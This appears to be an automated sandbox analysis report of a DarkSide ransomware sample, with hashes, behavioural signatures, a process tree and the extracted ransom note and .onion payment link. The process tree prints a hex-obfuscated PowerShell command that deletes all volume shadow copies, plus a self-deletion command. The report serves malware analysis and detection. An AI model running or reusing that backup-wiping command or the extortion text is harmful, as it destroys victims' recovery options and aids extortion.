Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/08/2026, 12:27

General

  • Target
    4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
  • Size 5.9MB
  • Sample260812-pm6lkstyhs
  • SHA256 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Path
  • C:\Users\Admin\README.218b006f.TXT

  • darkside

Ransom Note
  • ----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs
  • http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT

Signatures

  • Family: DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Renames multiple (153) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
    "C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4940
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2032
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2688
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:5908

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 fa606866043197f75de4426de51670f2291a94433384efe403e0026db4429a69
        • MD5 SHA1 SHA512 TLSH

        README.218b006f.TXT

        • Path C:\Users\Admin\README.218b006f.TXT
        • Size 1KB
        • SHA256 5e98b41a51606e16dda30ad4a49457227f75d71ad2004e2942c6b8de6202c4f3
        • MD5 SHA1 SHA512 TLSH

        memory/2032-32-0x00007FFA50EC0000-0x00007FFA51864000-memory.dmp

        memory/2032-24-0x00000220F7770000-0x00000220F7792000-memory.dmp

        memory/2032-36-0x00007FFA50EC0000-0x00007FFA51864000-memory.dmp

        memory/2032-34-0x00007FFA50EC0000-0x00007FFA51864000-memory.dmp

        memory/2032-33-0x00007FFA50EC0000-0x00007FFA51864000-memory.dmp

        memory/2032-31-0x00007FFA50EC0000-0x00007FFA51864000-memory.dmp

        memory/2032-30-0x00007FFA50EC0000-0x00007FFA51864000-memory.dmp

        memory/2032-29-0x00007FFA50EC0000-0x00007FFA51864000-memory.dmp

        memory/2032-28-0x00007FFA50EC0000-0x00007FFA51864000-memory.dmp

        memory/2032-21-0x00007FFA5104F000-0x00007FFA51050000-memory.dmp

        memory/2032-27-0x00007FFA50EC0000-0x00007FFA51864000-memory.dmp

        memory/2032-26-0x00007FFA50EC0000-0x00007FFA51864000-memory.dmp

        memory/2032-25-0x00007FFA50EC0000-0x00007FFA51864000-memory.dmp

        memory/4940-1-0x00000000014D0000-0x00000000014D1000-memory.dmp

        memory/4940-5-0x0000000001730000-0x0000000001731000-memory.dmp

        memory/4940-15-0x0000000003070000-0x0000000003071000-memory.dmp

        memory/4940-9-0x0000000001770000-0x0000000001771000-memory.dmp

        memory/4940-17-0x0000000003090000-0x0000000003091000-memory.dmp

        memory/4940-14-0x0000000000470000-0x0000000000E18000-memory.dmp

        memory/4940-0-0x0000000000483000-0x0000000000838000-memory.dmp

        memory/4940-13-0x00000000017B0000-0x00000000017B1000-memory.dmp

        memory/4940-2-0x0000000001700000-0x0000000001701000-memory.dmp

        memory/4940-3-0x0000000001710000-0x0000000001711000-memory.dmp

        memory/4940-4-0x0000000001720000-0x0000000001721000-memory.dmp

        memory/4940-16-0x0000000003080000-0x0000000003081000-memory.dmp

        memory/4940-12-0x00000000017A0000-0x00000000017A1000-memory.dmp

        memory/4940-6-0x0000000001740000-0x0000000001741000-memory.dmp

        memory/4940-7-0x0000000001750000-0x0000000001751000-memory.dmp

        memory/4940-8-0x0000000001760000-0x0000000001761000-memory.dmp

        memory/4940-44-0x0000000000483000-0x0000000000838000-memory.dmp

        memory/4940-10-0x0000000001780000-0x0000000001781000-memory.dmp

        memory/4940-46-0x0000000000470000-0x0000000000E18000-memory.dmp

        memory/4940-11-0x0000000001790000-0x0000000001791000-memory.dmp

        memory/4940-222-0x0000000000470000-0x0000000000E18000-memory.dmp

        memory/4940-223-0x0000000000483000-0x0000000000838000-memory.dmp